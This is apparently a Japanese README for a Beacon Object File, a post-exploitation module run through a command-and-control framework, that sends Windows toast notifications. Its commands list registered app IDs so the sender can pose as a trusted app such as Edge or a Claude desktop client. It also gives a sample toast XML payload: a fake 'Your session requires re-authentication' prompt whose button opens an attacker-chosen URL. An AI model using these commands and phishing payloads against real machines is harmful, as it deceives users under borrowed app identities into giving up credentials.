
Windowsのトースト通知を悪用した楽しみとユーザー操作
Windows トースト通知を送信するための Beacon Object File (BOF) です。詳細なコンテキストとユースケースについては、ブログ記事と合わせてご覧ください。
システムに登録されている AUMID (アプリケーション ユーザー モデル ID) を列挙します。トーストを送信する前に、借用に適した ID を見つけるために使用します。
inline-execute toastnotify.o go getaumid
出力例:
[Notifications\Settings - HKCU]
Microsoft.Windows.Explorer
MSEdge
com.squirrel.AnthropicClaude.claude
...
[Notifications\Settings - HKLM]
...
com.squirrel.AnthropicClaude.claude
...
タイトルと本文を含む標準的なトースト通知を送信します。内部で ToastGeneric を使用して XML を構築します。
inline-execute toastnotify.o go sendtoast "MSEdge" "Title" "Notification body"
Base64 でエンコードされた任意の XML ペイロードからトーストを送信します。アクション、プロトコルリンク、画像、プログレスバー、選択入力、ヒーロー画像など、完全なテンプレートサポートが可能な、ここが面白い部分です。それにぴったりのアプリもあります!
inline-execute toastnotify.o go custom "MSEdge" "<base64-encoded-xml>"
エンコード前のペイロード例:
<toast>
<visual>
<binding template="ToastGeneric">
<text>Action Required</text>
<text>Your session requires re-authentication. Click to continue.</text>
</binding>
</visual>
<actions>
<action content="Continue"
activationType="protocol"
arguments="https://your-page-here.com"/>
</actions>
</toast>
エンコードして楽しんでください。